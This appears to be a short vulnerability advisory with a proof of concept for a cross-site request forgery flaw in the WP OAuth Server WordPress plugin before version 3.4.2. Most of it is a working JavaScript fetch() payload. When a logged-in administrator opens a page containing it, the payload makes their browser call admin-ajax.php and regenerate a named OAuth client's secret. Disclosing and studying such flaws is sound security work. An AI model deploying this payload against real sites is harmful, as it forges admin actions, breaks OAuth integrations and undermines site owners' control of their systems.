WP OAuth Server < 3.4.2 - Client Secret Regeneration via CSRF

Proof of Concept

Make a logged in admin open a page containing the HTML code below. This will regenerate the secret for the client with ID KCzvPgkQndGfbFy34jfwoxKVCp1VzFhgSZ3PywN7

fetch('https://example.com/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=wo_regenerate_secret&data=KCzvPgkQndGfbFy34jfwoxKVCp1VzFhgSZ3PywN7',
        redirect: 'follow'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));